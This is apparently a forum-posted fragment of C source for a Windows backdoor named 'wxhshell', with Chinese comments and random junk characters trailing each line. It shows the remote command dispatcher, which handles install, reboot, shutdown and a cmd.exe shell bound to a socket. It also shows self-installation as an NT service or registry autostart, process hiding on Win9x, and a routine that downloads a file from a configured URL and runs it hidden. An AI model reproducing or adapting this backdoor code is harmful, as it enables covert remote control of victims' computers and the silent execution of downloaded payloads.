  // 帮助 :(x 90;DW  
  case '?': { /%N~$ &wW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wA)R7%&  
    break; XlNB9\"5  
  } ]gj@r[  
  // 安装  6Ue6b$xE  
  case 'i': { t! Av [K  
    if(Install()) BQ&h&57K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /L[:C=u  
    else }`^<ZNkb/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `}Hnj*  
    break; 1$2Rs-J  
    } CUw 9aH  
  // 卸载 `Op ";E88  
  case 'r': { %s)E}cGH  
    if(Uninstall()) ~GY;{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IWpUbD|kC  
    else ^jhHaN]G^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7y`~T+  
    break; 2W~2Hk=0+%  
    } ]X _&  
  // 显示 wxhshell 所在路径 RMrt4:-DI  
  case 'p': { IweQB}d  
    char svExeFile[MAX_PATH]; +l3 vIN  
    strcpy(svExeFile,"\n\r"); QU4'x4YS  
      strcat(svExeFile,ExeFile); 'Ph;:EMj  
        send(wsh,svExeFile,strlen(svExeFile),0); )I}G:bBa  
    break; If#7SF)n'  
    } 1X9sx&5H  
  // 重启 n2O7n @8  
  case 'b': { q{JD]A:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZyWC_r!  
    if(Boot(REBOOT)) O 1X !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZmHl~MR@  
    else { {S&&X&A`v  
    closesocket(wsh); *AN#D?X_  
    ExitThread(0); |m EJJg`"7  
    } XAFTLNV>  
    break; g%[Ruugu  
    } IH0^*f  
  // 关机 9VY_gi=vL  
  case 'd': { #5I "M WA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t[ MRyi)LF  
    if(Boot(SHUTDOWN)) ?^+|V,<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q B 2#EsZ  
    else { lJ,s}l7  
    closesocket(wsh); |O+binq  
    ExitThread(0); \%^3Izsc  
    } p.IfJ|  
    break; e)bqE^JP  
    } M*{e e0\`r  
  // 获取shell |ZKchd8Yq  
  case 's': { ~gDtj&F  
    CmdShell(wsh); FxT [4  
    closesocket(wsh); 6u7HO-aa  
    ExitThread(0); #sHP\|rA  
    break; 5m3sjcp_  
  } K=>/(s Wiq  
  // 退出 U5PCj ]-Xt  
  case 'x': { %?$"oWmenS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JZ7-? o  
    CloseIt(wsh); n C Z  
    break; u60l-  
    } %~[F^  
  // 离开 - |'wDf?H  
  case 'q': { 1f:k:Y9i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {gn[ &\  
    closesocket(wsh); P$QfcJq&c*  
    WSACleanup(); j)5Vv K\  
    exit(1); $_UF9 l0  
    break; Q&LkST-i  
        } Ek BM>*W  
  } mnia>; 0H  
  } }?^G= IP4(  
Z~gqTB]H  
  // 提示信息 Mf63 59  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iB`m!g6$  
} oAx0$]+%V)  
  } WQ]pg "  
] ge-b\  
  return; `F@yZ4L3S  
} \3/9lE|gh  
Pg36'aTe%j  
// shell模块句柄 lo#,zd~  
int CmdShell(SOCKET sock) I R&u55#I6  
{ S'e2~-p0F  
STARTUPINFO si;  Ui.F<,E  
ZeroMemory(&si,sizeof(si)); ^eRuj)$5A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WveFB%@`;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -wt2ydzos  
PROCESS_INFORMATION ProcessInfo; b,W '0gl  
char cmdline[]="cmd"; wtKh8^:YD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (qrT0D6  
  return 0; YGO@X(ej,  
} 5W48z%MN  
fYi!Z/Ck2  
// 自身启动模式 6M9rC[h\  
int StartFromService(void) H6eGLg={  
{ #Grm-W9E  
typedef struct L5W>in5(  
{ $9~1s/('  
  DWORD ExitStatus; @:@rks&  
  DWORD PebBaseAddress; vX\e* v  
  DWORD AffinityMask; GS H{1VS_b  
  DWORD BasePriority; >A/=eW/q  
  ULONG UniqueProcessId; (r4\dp&  
  ULONG InheritedFromUniqueProcessId; d w|0K+-PH  
}   PROCESS_BASIC_INFORMATION; ^b~5zhY&  
JNz0!wi  
PROCNTQSIP NtQueryInformationProcess;  df'g},_  
L9@jmh*E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6>I.*Qt \l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :Mk}Suf&H  
Xn=fLb(  
  HANDLE             hProcess; 7w*&Yg]  
  PROCESS_BASIC_INFORMATION pbi; d8#j@='a*  
nmGHJb,$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nz\fN?q  
  if(NULL == hInst ) return 0; rWXW}Yg  
|9I;`{@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %-Z~f~<?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w$4Lu"N :  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O|~'-^  
xJhbGK  
  if (!NtQueryInformationProcess) return 0; `,Gk1~Wv  
]N_^{k,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8.':pY'8"  
  if(!hProcess) return 0; C.-a:oQ[  
o{p_s0IX;S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hi9z<l=$  
9_3M}|V$^e  
  CloseHandle(hProcess); &?6w 2[}  
\tx/!tA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }nl)*l  
if(hProcess==NULL) return 0; ~tvoR&{I  
GB3B4)cX4Y  
HMODULE hMod; : 4WbDeR  
char procName[255]; l0{DnQA>I  
unsigned long cbNeeded; Uj)]nJX  
iurB8~Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }i:'f 2/  
0)!zhO_}  
  CloseHandle(hProcess); ,be?GAq  
m5N&7qgp  
if(strstr(procName,"services")) return 1; // 以服务启动 wlM ?gQXU[  
+.I'U9QeUN  
  return 0; // 注册表启动 $4L3y uH  
} {6sfa?1j  
Fr3t [:D  
// 主模块 ".?{Y(~  
int StartWxhshell(LPSTR lpCmdLine) (K6S tNtN  
{ ]s@8I2_  
  SOCKET wsl; ,IE0+!I  
BOOL val=TRUE; ,v_r$kh^  
  int port=0; Y;Gm,  
  struct sockaddr_in door; YPnJldVn  
':]a.yA\1  
  if(wscfg.ws_autoins) Install(); N-E`go  
oFR'GUQC  
port=atoi(lpCmdLine); TP::y  
<v k$eB8EC  
if(port<=0) port=wscfg.ws_port; Ai18]QD-  
D:tZiS=0  
  WSADATA data; ycD.:w p\'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YCO:bBmp:  
W2qQKv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wlg#c6#q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  22~X~=  
  door.sin_family = AF_INET; )fc"])&8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :w%b w\}  
  door.sin_port = htons(port);  q)+ n2FM  
:OaQq@V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1o78e2B  
closesocket(wsl); [)>8z8'f  
return 1; mp3_n:R?  
} x)ZH;)  
}Xv1KX'  
  if(listen(wsl,2) == INVALID_SOCKET) { 1iL xXd  
closesocket(wsl); }F6b ]  
return 1; XF$]KA L0  
} T k&9Klo  
  Wxhshell(wsl); %nf=[f  
  WSACleanup(); s,H(m8#>  
C)p<M H<  
return 0; %5?-g[  
&W// Ox )f  
} iGVb.=)  
9?chCO(@  
// 以NT服务方式启动 .MARF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _4B iF?1  
{ ^) ^|;C\`  
DWORD   status = 0; W r7e_  
  DWORD   specificError = 0xfffffff; _kX/LR"L+  
%uqD\`-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eAKQR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !&p:=}s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U] -@yx  
  serviceStatus.dwWin32ExitCode     = 0; f ?zK "  
  serviceStatus.dwServiceSpecificExitCode = 0; W;]U P$5l  
  serviceStatus.dwCheckPoint       = 0; ./y[<e  
  serviceStatus.dwWaitHint       = 0; T ) f_W  
t0d '>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {}&f\6OI%  
  if (hServiceStatusHandle==0) return; Z;SG<  
R${4Q1  
status = GetLastError(); lY9M<8g  
  if (status!=NO_ERROR) N%|Vzc  
{ lv_%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qZ_fQ@   
    serviceStatus.dwCheckPoint       = 0; ` +BaDns  
    serviceStatus.dwWaitHint       = 0; [3sxzU!t~  
    serviceStatus.dwWin32ExitCode     = status; T xxB0  
    serviceStatus.dwServiceSpecificExitCode = specificError;  / !  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0*/ r'  
    return; !_H8Q}a  
  } |SukiXJZF  
f<4q]HCa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UJ)M:~O  
  serviceStatus.dwCheckPoint       = 0; O8~U<'=*  
  serviceStatus.dwWaitHint       = 0; JX$NEq(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (g2r\hI  
} NF(IF.8G  
qs1.@l("  
// 处理NT服务事件,比如:启动、停止 )/ T$H|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S Y>,kwHO  
{ @TPgA(5NR  
switch(fdwControl) 7  cP[o+  
{ vJAAAS  
case SERVICE_CONTROL_STOP: G[<[#$(  
  serviceStatus.dwWin32ExitCode = 0; Sb9=$0%\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f(s3TLM  
  serviceStatus.dwCheckPoint   = 0; 3et2\wOX1x  
  serviceStatus.dwWaitHint     = 0; V&j.>Y  
  { S]%U]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dw/Gha/  
  } \R>5F\ 0  
  return; DEp%\sj?  
case SERVICE_CONTROL_PAUSE: 2{]S_. zV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `NWgETf^#  
  break; IL2Gsj)M  
case SERVICE_CONTROL_CONTINUE: O-!fOdX8_k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2|H91Y2  
  break; 9eN2)a/  
case SERVICE_CONTROL_INTERROGATE: VO;UV$$  
  break; |]!Ky[P  
}; W*rU,F|9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,{ L;B  
} f'`nx;@X  
Re,$<9V  
// 标准应用程序主函数 s!;VUr\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L8w76|  
{ iraRB~  
-=t3O#  
// 获取操作系统版本 1QF*e'  
OsIsNt=GetOsVer(); .m]=JC5'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m`\i+  
PVS<QN%  
  // 从命令行安装 90h1e7ZcC  
  if(strpbrk(lpCmdLine,"iI")) Install(); :_QAjU  
['Y+z2k  
  // 下载执行文件 |RAQ%VXm  
if(wscfg.ws_downexe) { 9<(K6Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8K JQ(  
  WinExec(wscfg.ws_filenam,SW_HIDE); + 65~,e  
} Y K?*7  
jPYe_y  
if(!OsIsNt) { Bpm5dT;  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xlqz8cI  
HideProc(); T ^%n!t  
StartWxhshell(lpCmdLine); FH`'1iVH  
} K)Xs L  
else W]yClx \  
  if(StartFromService()) +G!jKta7B  
  // 以服务方式启动 r0g/:lJi  
  StartServiceCtrlDispatcher(DispatchTable); D"x$^6`c}  
else F@K*T2uh  
  // 普通方式启动 q ~Q)'*m  
  StartWxhshell(lpCmdLine); ,JQxs7@2k  
0n<(*bfW  
return 0; w^due P7J  
}
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只看该作者 1 发表于: 2006-10-10
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